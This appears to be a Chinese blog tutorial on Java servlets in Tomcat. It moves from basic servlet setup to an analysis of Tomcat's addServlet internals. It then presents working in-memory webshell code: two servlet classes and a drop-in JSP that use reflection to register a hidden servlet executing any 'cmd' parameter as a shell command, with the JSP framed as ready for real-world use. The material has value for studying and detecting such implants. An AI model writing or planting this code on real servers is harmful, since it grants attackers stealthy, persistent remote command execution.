项目配置
注意一定要添加
否则访问路径会404,tomcat并没有对项目生效
Servlet.class:
package org.test;
import javax.servlet.*;
import java.io.IOException;
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
System.out.println("init");
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("service");
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
System.out.println("destroy");
}
}
web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>demo1</servlet-name>
<servlet-class>org.test.ServletTest</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>demo1</servlet-name>
<url-pattern>/demo1</url-pattern>
</servlet-mapping>
</web-app>
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servlet_ncm</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.43</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>
效果:
启动后,访问url,可以看到成功输出init和service
停止后,可以看到输出destroy
注解的方式:
package org.test;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/demo1")
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
System.out.println("init");
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("service");
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
System.out.println("destroy");
}
}
以下全是注解形式来看
package org.test;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/demo2")
public class ServletTest extends GenericServlet{
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("service");
}
}
package org.test;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/demo3")
public class ServletTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
System.out.println("doGet...");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
System.out.println("doPost...");
doGet(req,resp);
}
}
其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装罢了。
由上图可知:
1.GenericServlet 是实现了 Servlet 接口的抽象类。
2.HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
3.Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
调试javax.servlet.Servlet接口的方法触发对应Servlet的service方法
查看其调用栈
可以看到红框中是其调用栈
分析内存马注入的地方
javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法
首先找createServlet
然后看其实现处
org.apache.catalina.core.ApplicationContextFacade
然后我们来看看addServlet
可以看到有三个重载方法,返回均为ServletRegistration.Dynamic类型
他在Tomcat容器中的实现
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,
Servlet servlet, Map<String,String> initParams) throws IllegalStateException {
if (servletName == null || servletName.equals("")) {
throw new IllegalArgumentException(sm.getString(
"applicationContext.invalidServletName", servletName));
}
if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
//TODO Spec breaking enhancement to ignore this restriction
throw new IllegalStateException(
sm.getString("applicationContext.addServlet.ise",
getContextPath()));
}
Wrapper wrapper = (Wrapper) context.findChild(servletName);
// Assume a 'complete' ServletRegistration is one that has a class and
// a name
if (wrapper == null) {
wrapper = context.createWrapper();
wrapper.setName(servletName);
context.addChild(wrapper);
} else {
if (wrapper.getName() != null &&
wrapper.getServletClass() != null) {
if (wrapper.isOverridable()) {
wrapper.setOverridable(false);
} else {
return null;
}
}
}
ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(context, servletClass);
if (clazz != null) {
annotation = clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (context.wasCreatedDynamicServlet(servlet)) {
annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
}
}
if (initParams != null) {
for (Map.Entry<String, String> initParam: initParams.entrySet()) {
wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
}
}
ServletRegistration.Dynamic registration =
new ApplicationServletRegistration(wrapper, context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
}
来解读这一段代码
1.首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
2.之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象
3.如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去
4.如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
5.之后如果存在初始化参数的时候,将进行初始化操作
6.最后创建了一个ApplicationServletRegistration类,通过带入wrapper和context
也就是程序在运行过程中不能添加Servlet的限制,那么如何绕过呢?
进入ApplicationServletRegistration#addMapping方法
通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。
可以看到wrapper是findChild(name)获得的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了。
1.首先创建一个自定义的Servlet类
2.对Wrapper进行封装
3.再将封装之后的wrapper添加进入StandardContext类中的children中去
4.最后通过调用addServletMappingDecoded方法添加url映射
内存马编写:
package org.test;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/test")
public class servlet_ncm extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//从req中获取ServletContext对象
String name = "RoboTerh";
ServletContext servletContext = req.getServletContext();
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = null;
try {
f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
//1.创建自定义servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean islinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
islinux = false;
}
String[] cmds = islinux ? new String[]{"/bin/bash", "-c", cmd} : new String[]{"cmd.exe", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a"); //Scanner类,这是一个用于扫描输入文本的新的实用程序,useDelimiter( )方法,可以将分隔符号修改为"回车",或者其他字符。
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
//2.对Wrapper进行封装
Wrapper wrapper = o.createWrapper();
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
//3.将封装之后的wrapper添加进入StandardContext类中的children中去
o.addChild(wrapper);
//4.用addServletMappingDecoded方法添加url映射
o.addServletMappingDecoded("/hhh",name);
PrintWriter printWriter = resp.getWriter();
printWriter.println("servlet added");
}
}
}
package org.test;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/test2")
public class servlet_ncm2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String name = "RoboTerh";
//从req中获取ServletContext对象
ServletContext servletContext = req.getServletContext();
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/hhh2", name);
PrintWriter printWriter = resp.getWriter();
printWriter.println("servlet added");
}
}
catch (Exception e) {
e.printStackTrace();
}
}
}
为了实战方便,写到jsp中,这里将获得StandardContext换了写法,更加方便
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="sun.invoke.util.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
//用Wrapper封装servlet
String name = "aaa";
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext o = (StandardContext)webappClassLoaderBase.getResources().getContext();
org.apache.catalina.Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/hhh3", name);
%>